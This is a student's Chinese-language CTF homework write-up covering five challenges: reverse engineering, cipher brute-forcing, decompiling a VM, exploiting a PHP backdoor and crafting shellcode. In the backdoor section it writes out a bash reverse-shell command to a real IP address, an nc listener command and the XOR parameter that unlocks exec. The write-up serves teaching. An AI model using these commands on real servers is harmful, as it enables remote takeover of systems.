楊力行 網站上名字: b06705001 學號 b06705001

Winmagic :

將所給的 exe 檔和 dbg 檔放在同個資料夾，用 vs 開啟 exe 檔，接著打開 vs 的暫存器監控視窗，再利用 vs 的設置函式中斷點，設在 rand，以獲得 rand 所產生出的隨機密碼，接著開始偵錯，程式會在呼叫 rand 時停住，接著我逐行執行，直到看到要執行 ret 時，即 rand 函式已經產生好了隨機數，要回到主程式了，這時看下暫存器，可找到 rand 所生成的數字(他是以 16 進位表示)，接著直接執行偵錯到輸入 magic，將所得到的數字轉成 10 進位後輸入，接著慢慢地逐行執行直到印出所有 flag 字串，逐行是因為程式執行完視窗會直接關掉，flag 就消失了。

本題沒有寫程式碼

Encrypt : 從 assert(E ** (I * pi) + len(key) == 0)可以知道 key 是長度 1 的 char 字元，把 flag 加密後產生的 cipher 讀入以進行解碼，並把所有可能 key(ascii 為 0-127)都試一次並印出解碼的結果。

對每一個 op 和 stage 寫出他的逆向函式，也就是能夠將其產出轉換成他的輸入，接著將 flag 加密的順序反過來對從 cipher 中得到的字串，執行對應的解密程式。

最後在 128 個輸出的字串中有幾個會是 flag{}的，即是答案。

本題檔案是 encrypt.py 和 cipher

m4chine:

用網路上的反編譯工具將 pyc 檔轉成 py 檔。

把 e_start 中 for 的每一次所吃進的部分 code 轉成 2 個 10 進位的數字，並且 print 出來

同時把被操作的 self.context(初始值為輸入的內容的 ascii 碼)印出來

接著隨意給個輸入，等到程式停下察看是為甚麼會被 terminal，大部分是因為 cmp 比對不同，接著查看在上次 cmp 之後進行了那些運算，該欄位需要增加或減少多少數字才能使該比對相同，並把這個數字加到該欄位對應的字元的 Ascii 碼上，所得到的就是該位置所應該是的字元，在重新跑程式把該位置(從後往前數的)的輸入換成剛得到的字元，就這樣從後面往前慢慢拼出 flag 即可。

反組譯，並且修改後的程式為 m4chine.py

open my backdoor :

透過第 2 行有 35 個空格可以知道$c 會是 ASCII=35，也就是#，

而”_\x50\x4f\x53\x54”其實就是_POST

在 url 後面加上?87=%01HU%11 讓_GET[87]的值與 d00r XOR 後會產生 exec 以讓他執行後面我透過 post 傳入的程式，

接著先在自己的 CMD 輸入 nc -n -vv -l -p 8000 (8000 是端口號碼，可以隨意設)監聽所有想要連到我這台電腦這個端口的連結
再透過 postman 這個應用程式傳/bin/bash -i > /dev/tcp/140.112.73.64/8000 0<&1 2>&1 到_POST 的 key 值# 中 url 為 http://edu-ctf.csie.org:10151/d00r.php?87=%01HU%11，140.112.73.64 是我當時的 ip 位址 8000 是正在監聽的端口，exec 這段指令後會得到伺服器的 shell 並且接通我本地的端口，使我可以在我本地的 CMD 輸入指令讓伺服器執行，最後 cd .. 和 ls 慢慢找尋 flag，找到 flag_is_here 後開啟即可得到 flag

shellc0de :
本題的主要重點就是在於不直接使用 syscall 的組合語言，而是要以其他方式來產生 syscall，以執行 exceve(/bin/sh)的 shellcode，我先用 objdump –d 開啟 shellc0de 找出我所進行輸入的 char[]的起始記憶體位址是 rbp-0x110 接者先寫一個正常的有直接使用 syscall 的 shellcode 的組合語言，把最尾端的 syscall 刪掉，在 shellcode 的最頂端分別用 ch cl 暫存器靠著 0x0e 加 0x01 和 0x04 加 0x01 弄出 0x0f 0x05 接著利用 mov []把這兩個值接到我所輸入的 shellcode 的最尾端的記憶體位址之後。
之後把所寫的組合語言利用 nasm 輸出成.o 檔，用 objdump –d 解編譯.o 檔，就可以看到機器碼，再手動加上\x，即完成了 shellcode 的內容
最後靠著 pwntool 連接題目伺服器，並把這串機器碼傳入，再在最後產生互動介面，在終端機輸入 cat /home/shellc0de/flag 就成功得到 flag 了